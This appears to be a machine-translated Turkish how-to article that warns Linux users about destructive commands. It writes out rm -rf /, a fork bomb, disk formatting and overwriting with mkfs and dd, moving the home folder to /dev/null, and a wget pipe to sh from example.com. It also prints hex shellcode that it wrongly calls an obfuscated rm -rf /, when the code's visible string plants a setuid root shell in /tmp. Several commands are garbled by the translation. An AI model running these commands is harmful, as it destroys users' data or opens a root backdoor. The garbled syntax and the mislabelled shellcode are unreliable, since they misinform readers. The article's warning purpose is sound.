2024 Yazar: Peter John Melton | [email protected]. Son düzenleme: 2024-01-31 06:08
Çalışmamanız gereken komutları öğrenmek, Linux'un nasıl çalıştığını anlamanızı artırırken trollerden korunmanıza yardımcı olabilir. Bu kapsamlı bir kılavuz değildir ve buradaki komutlar çeşitli şekillerde yeniden karıştırılabilir.
Bu komutların çoğunun, yalnızca ön ekliyse tehlikeli olacağını unutmayın. sudo Ubuntu'da - aksi takdirde çalışmazlar. Diğer Linux dağıtımlarında, çoğu komut kök olarak çalıştırılmalıdır.
rm -rf / - Her şeyi siler!
Komuta rm -rf / Sabit sürücünüzdeki dosyalar ve bağlı çıkarılabilir medya aygıtlarındaki dosyalar dahil olmak üzere, olası her şeyi siler. Bu komut bozulduğunda daha anlaşılırdır:
rm – Remove the following files.
- rf – Run rm recursively (delete all files and folders inside the specified folder) and force-remove all files without prompting you.
/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices, including remote file shares and removable drives.
Linux bu komuta itaat edecek ve size sormadan her şeyi silecektir, bu yüzden kullanırken dikkatli olun! Rm komutu diğer tehlikeli şekillerde de kullanılabilir - rm –rf ~ ev klasörünüzdeki tüm dosyaları silebilir rm -rf. * tüm yapılandırma dosyalarınızı siler.
Ders: Rm -rf'ye dikkat edin.
Gizlenmiş rm –rf /
İşte, tüm web’deki başka bir kod snippet’idir:
char esp _attribute_ ((section(“.text”))) /* e.s.p release */ = “xebx3ex5bx31xc0x50x54x5ax83xecx64x68” “xffxffxffxffx68xdfxd0xdfxd9x68x8dx99” “xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7” “x56x04xf7x56x08xf7x56x0cx83xc4x74x56” “x8dx73x08x56x53x54x59xb0x0bxcdx80x31” “xc0x40xebxf9xe8xbdxffxffxffx2fx62x69” “x6ex2fx73x68x00x2dx63x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
Bu rm –rf'nin onaltılık sürümü / – Bu komutu yürütmek, sanki rm –rf /.
Ders: Anlamadığınız tuhaf görünen, açıkça gizlenmiş komutları çalıştırmayın.
: () {: |: &};: - Çatal Bomba
Aşağıdaki çizgi basit görünümlü ama tehlikeli bir bash işlevidir:
:(){:|: &};:
Bu kısa çizgi, kendisinin yeni kopyalarını oluşturan bir kabuk işlevini tanımlar. Süreç sürekli kendini çoğaltır ve kopyaları sürekli olarak çoğalır ve tüm CPU zamanınızı ve belleğinizi hızla alır. Bu, bilgisayarınızın donmasına neden olabilir. Temel olarak hizmet reddi saldırısıdır.
Ders: Bash fonksiyonları güçlü, hatta çok kısa olanlardır.
mkfs.ext4 / dev / sda1 - Sabit Sürücüyü Biçimlendiriyor
mkfs.ext4 / dev / sda1Komutun anlaşılması kolaydır:
mkfs.ext4 – Create a new ext4 file system on the following device.
/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.
Birlikte ele alındığında, bu komut Windows'ta c: formatını çalıştırmaya eşdeğer olabilir - dosyaları ilk bölümünüzde siler ve yeni bir dosya sistemi ile değiştirir.
Bu komut başka şekillerde de olabilir - mkfs.ext3 / dev / sdb2 ikinci sabit diskteki ikinci bölümü ext3 dosya sistemi ile biçimlendirir.
Ders: Komutları doğrudan / dev / sd ile başlayan sabit disk aygıtlarında çalıştırmaya dikkat edin.
komut> / dev / sda - Doğrudan Sabit Sürücüye Yazıyor
komut> / dev / sda satır benzer şekilde çalışır - bir komut çalıştırır ve bu komutun çıktısını doğrudan ilk sabit sürücünüze gönderir, verileri doğrudan sabit disk sürücüsüne yazar ve dosya sisteminize zarar verir.
command – Run a command (can be any command.)
> – Send the output of the command to the following location.
/dev/sda – Write the output of the command directly to the hard disk device.
Ders: Yukarıdaki gibi, / dev / sd ile başlayan sabit disk aygıtlarını içeren çalıştırma komutlarına dikkat edin.
dd if = / dev / rasgele = / dev / sda - Bir Sabit Sürücüye Önemsiz Yazıyor
dd if = / dev / rasgele = / dev / sda satır aynı zamanda sabit disklerinizden birindeki verileri de yok edecektir.
dd – Perform low-level copying from one location to another.
if=/dev/random – Use /dev/random (random data) as the input – you may also see locations such as /dev/zero (zeros).
of=/dev/sda – Output to the first hard disk, replacing its file system with random garbage data.
Ders: dd verileri bir konumdan diğerine kopyalar, bu da doğrudan bir cihaza kopyalanıyorsanız tehlikeli olabilir.
mv ~ / dev / null - Giriş Dizini Kara Deliğe Taşıyor
/ dev / null başka bir özel konumdur - bir şeyi / dev / null'a taşıyarak onu yok etmek aynı şeydir. Karadelik olarak / dev / null düşünün. esasen, mv ~ / dev / null tüm kişisel dosyalarınızı bir kara deliğe gönderir.
mv – Move the following file or directory to another location.
~ – Represents your entire home folder.
/dev/null – Move your home folder to /dev/null, destroying all your files and deleting the original copies.
Ders: ~ Karakter, ana klasörünüzü temsil eder ve / dev / null öğelerini hareket ettirir.
wget https://example.com/something -O - | sh - Bir Script İndirme ve Çalıştır
Yukarıdaki satır web'den bir betik indirir ve komut dosyasının içeriğini yürüten sh'ye gönderir. Komut dosyasının ne olduğundan emin değilseniz veya kaynağına güvenmiyorsanız bu güvenilmez olabilir - güvenilmeyen komut dosyalarını çalıştırmayın.
wget – Downloads a file. (You may also see curl in place of wget.)
https://example.com/something – Download the file from this location.
| – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.
sh – Send the file to the sh command, which executes it if it’s a bash script.
Ders: Bir komutla bile web'den güvenilmeyen komut dosyalarını indirip çalıştırmayın.
Yeni (ve deneyimli) Linux kullanıcılarının çalıştırmaması gereken diğer tehlikeli komutları biliyor musunuz? Yorum bırak ve paylaş!
Önerilen:
Linux Terminalinden Dosyaları Yönetme: Bilmeniz Gereken 11 Komut
Linux terminalini bir profesyonel gibi kullanmak için, dosyaları yönetmenin ve dizinlerde gezinmenin temellerini bilmeniz gerekir. Unix felsefesine sadık her komut bir şey yapar ve iyi yapar.
Linux Terminalinden İşlemleri Yönetme: Bilmeniz Gereken 10 Komut
Linux terminalinde, çalışan işlemleri görüntüleyebilecek, öldürebilecek ve öncelik düzeylerini değiştirebilecek birçok kullanışlı komut vardır. Bu yazı klasik, geleneksel komutları ve daha kullanışlı, modern olanları listeler.
Linux Terminalinden Ağ ile Nasıl Çalışırsınız: Bilmeniz Gereken 11 Komut
Dosyaları indirmek, ağ sorunlarını teşhis etmek, ağ arayüzlerinizi yönetmek veya ağ istatistiklerini görüntülemek istediğinizde, bunun için bir terminal komutu bulunmaktadır. Bu koleksiyon denenmiş ve gerçek araçları ve birkaç yeni komutları içerir.
Locky Ransomware ölümcül! İşte bu virüs hakkında bilmeniz gereken her şey.
Locky Ransomware gelişiyor. Bu konuda her şeyi öğrenmek için bu wiki yazı okuyun - Evrim, Tanımlama, Algılama, Önleme, Kaldırma, Şifre Çözme, vb.
Online Arkadaşlıktan kaçınmak için 9 ölümcül hata
Online Dating uzun bir yol kat etti. Çevrimiçi Arkadaşlık'ta karşılaşabileceğiniz bazı hataların yanı sıra bazı Çevrimiçi buluşma ipuçları da burada.